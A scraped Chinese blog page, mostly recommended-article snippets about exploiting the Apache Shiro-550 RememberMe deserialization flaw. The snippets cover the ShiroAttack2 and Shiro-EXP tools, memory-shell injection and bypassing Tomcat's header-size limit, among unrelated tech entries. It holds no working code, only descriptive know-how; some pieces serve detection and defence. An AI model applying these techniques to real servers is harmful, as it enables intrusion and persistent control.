在Java Web应用安全领域,反序列化漏洞是常见的攻击面之一,其核心原理在于应用对不可信数据的反序列化处理不当,可能导致远程代码执行。Apache Shiro框架的RememberMe功能因默认硬编码AES密钥,形成了经典的Shiro-550反序列化漏洞。攻击者利用此漏洞,通过密钥爆破、构造恶意序列化链,可实现从权限获取到持久化控制。ShiroAttack2作为一款集成化工具,将探测、密钥爆破、命令执行、内存马注入等攻击链自动化,极大降低了漏洞利用门槛。本文从技术实现角度,深入剖析ShiroAttack2

weixin_30879833的博客 400

Apache Shiro反序列化漏洞原理、复现与纵深防御实战指南

Java反序列化漏洞是Web应用安全领域的核心威胁之一,其原理在于攻击者通过构造恶意的序列化数据,在目标系统进行反序列化操作时触发任意代码执行。这类漏洞的技术价值在于其危害性高、利用链复杂,常出现在广泛使用的Java框架和组件中。在应用场景上,反序列化漏洞常被用于攻击会话管理、远程通信和数据持久化等机制,对金融、电商和企业级系统构成严重风险。本文聚焦于Apache Shiro框架的系列反序列化漏洞,特别是围绕其RememberMe功能的加密与反序列化流程,深入剖析了从CVE-2016-4437(默认密钥)到

weixin_33739541的博客 378

Shiro安全(二):Shiro-550内存马注入

漏洞环境采用木头师傅给出的https://github.com/KpLi0rn/ShiroVulnEnv 将上面的poc存入到cc11并AES加密后,可以看到生成的payload非常长,这已经超过了Tomcat默认的max header的大小所以我们需要想一些办法绕过Header的长度限制,现在比较常用的有两种方法:这里我们结合cc11进行注入 思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Req

weixin_43263451的博客 1770

ShiroAttack2工具解析:从Shiro-550漏洞原理到自动化攻防实战

Java反序列化漏洞是Web安全领域的经典威胁,其原理在于应用对不可信数据执行反序列化操作时,未进行严格的类过滤,导致攻击者能够构造恶意调用链(Gadget Chain)执行任意代码。这项技术的核心价值在于它能够绕过常规安全机制,直接威胁服务器安全,在渗透测试和红队评估中尤为重要。Apache Shiro框架的RememberMe功能因使用硬编码AES密钥,成为反序列化漏洞的典型应用场景,由此衍生出CVE-2016-4437(Shiro-550)等高危漏洞。ShiroAttack2这类自动化工具正是为此而生

weixin_30387423的博客 310

从Shiro反序列化到内存马植入:一次完整的攻防演练与防御思考

在Java安全领域,反序列化漏洞是攻击者利用应用将序列化数据还原为对象时,执行恶意代码的常见入口。其原理在于,当应用反序列化不可信数据时,若类路径中存在可利用的链(Gadget Chain),攻击者便能构造特定数据触发远程代码执行(RCE),从而突破安全边界。这项技术的核心价值在于,它往往能绕过常规的认证与授权机制,直接获取应用控制权,在渗透测试和红队评估中具有极高威胁。典型的应用场景包括攻击使用Apache Shiro、Fastjson等流行框架的Web应用。本文聚焦于Apache Shiro反序列化漏洞

weixin_34163553的博客 422

Shiro-EXP:Apache Shiro 反序列化漏洞检测与利用工具,一键注入内存马

项目介绍 基于Apache Shiro反序列化漏洞进行利用链的探测,附内存马。 利用时需要修改POST请求两处数据,分别为Header头RememberMe字段值和携带的data数据(由于payload设定,data中须指定名字为c的参数值)。 探测到利用链后,根据提示,将屏幕输出的payload粘贴至POST请求Header头RememberMe字段处,至于data携带的数据,自行决策,本文文末附内存马,可直接粘贴至data中使用,或自行生成指定命令的字节码片段替换。 与项目相关文章首发于: Shiro exp使用手册 Shiro rememberMe反序列化漏洞 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie,服务端对rememberMe的cookie值先base64解码然后AES解密再反序列化,就导

哨兵2号遥感影像解析全流程:步骤、算法与AI应用详解

未来,多源数据融合与边缘计算技术的应用将进一步拓展遥感解析的边界。波段合成:选择10m分辨率波段(如B2、B3、B4、B8)进行Layer Stacking,生成多光谱影像。| 分类与识别 | Scikit-Learn、PyTorch | SVM、CNN、K-Means聚类 | 地块分类、目标检测 || 数据预处理 | SNAP、Sen2Cor | 大气校正、几何校正 | L2A产品生成、格式转换 || 波段融合 | ENVI、GDAL | Layer Stacking、重采样 | 多光谱影像合成 |

zhz5214的博客 2707

ShiroAttack2实战指南:从Shiro-550漏洞原理到内存马攻防

Java反序列化漏洞是Web安全领域的经典威胁,其原理在于攻击者通过控制反序列化数据流,触发恶意利用链(Gadget Chain),从而在目标服务器上执行任意代码。这种技术危害巨大,常被用于实现远程命令执行,是红队评估和渗透测试中的关键攻击向量。Apache Shiro框架的RememberMe功能因默认密钥硬编码问题,成为反序列化漏洞的典型应用场景,由此衍生的Shiro-550漏洞至今仍是高频发现项。ShiroAttack2工具集成了密钥爆破、多种利用链和内存马注入能力,将攻击从单次命令执行提升到持久化控

weixin_33805992的博客 357

树莓派CM4 PCIe扩展方案与ASM1184e芯片应用

PCIe(Peripheral Component Interconnect Express)是计算机硬件中重要的高速串行总线标准,广泛应用于存储、网络等设备连接。其核心原理是通过差分信号实现高带宽传输,PCIe Gen2 x1的理论带宽可达5Gbps。在嵌入式开发中,PCIe扩展技术能有效解决单板计算机接口不足的问题,特别适合树莓派等微型平台。ASMedia ASM1184e作为PCIe交换芯片,可将单个接口扩展为多个,支持热插拔且免驱动,极大提升了工程灵活性。通过PCIe交换机方案,开发者能在树莓派CM

weixin_42602368的博客 403

MemShellParty:自动化内存马生成平台的设计原理与实战应用

内存马是一种无文件、驻留内存的Webshell技术,它通过直接操作Java虚拟机的运行时内存,绕过传统基于文件检测的安全机制。其核心原理是利用Java中间件的类加载机制和动态注册能力,将恶意字节码注入到Filter、Servlet或Controller等关键组件中,实现持久化控制。这项技术的价值在于能够有效规避WAF、EDR等静态防护,在攻防演练和应急响应中具有重要作用。MemShellParty作为一个工程化平台,通过标准化和自动化流程,将内存马的生成、适配和测试进行封装,支持Tomcat、Spring

weixin_34292402的博客 367

最优化理论与自动驾驶(三):LQR原理、公式及代码演示

LQR 是基于线性系统和二次型代价函数的最优控制方法,在实际工程应用中,我们一般采用离散时间系统的LQR设计,其目标是通过设计反馈控制律,使系统在离散时间步长内稳定运行,最小化某个二次型代价函数。给定一个离散时间系统,其状态和控制输入通过以下方程表示:是时刻k的系统状态,是时刻k的控制输入,是状态转移矩阵,是输入矩阵。系统描述的物理意义:系统状态通过矩阵A演变到下一时刻,同时控制输入通过矩阵B影响系统的状态。

a8598671的博客 4588

Ubuntu22.04中通过conda快速部署PyTorch开发环境(CPU/GPU双版本实战)

本文详细介绍了在Ubuntu22.04系统中,如何利用Conda高效部署PyTorch开发环境。文章分别提供了CPU与GPU双版本的实战教程,涵盖环境创建、镜像加速、版本匹配及深度验证等关键步骤,旨在帮助开发者快速搭建稳定、兼容的深度学习环境,从而专注于模型开发。

rose2的博客 554

Java内存马检测实战:从原理到排查的完整安全指南

在Java应用安全领域,无文件攻击因其高隐蔽性成为严峻挑战。其核心原理在于攻击者利用远程代码执行等漏洞,通过反射等机制动态修改JVM运行时内存中的程序结构,例如向Servlet容器或Spring框架注册恶意组件。这种技术价值在于绕过了传统基于文件特征的静态检测,直接与业务进程共生,实现持久化控制。在应用场景上,它常出现在存在未修复漏洞的Web服务器中,作为后门接收远程指令。针对内存马这类威胁,有效的检测需要结合行为监控、内存分析和流量分析,使用Arthas等工具进行运行时诊断,通过对比组件基线发现异常,这正

weixin_30402343的博客 434

R语言中5种正态性检验的方法

统计学中的t检验和方差分析等方法的应用条件是样本都来自正态总体或近似正态总体,只有符合这个条件,才能用这些方法来检验各样本所属的总体参数的差异显著性。文本向大家介绍在R语言中检验正态性的几种方法: 1、Kolmogorov-Smirnov检验 K-S检验检验单一样本是否来自某一特定分布。比如检验一组数据是否为正态分布。它的检验方法是以样本数据的累积频数分布与特定理论分布比较,若两者间的差距很小,则推论该样本取自某特定分布族。K-S检验的原假设和备择假设为: H0:样本所来自的总体分布服从

Mrrunsen的博客 2万+
上一篇: Jimureport h2命令执行分析记录
下一篇: mysql联表查询
qieziwa(boy)
博客等级 码龄7年 5704粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值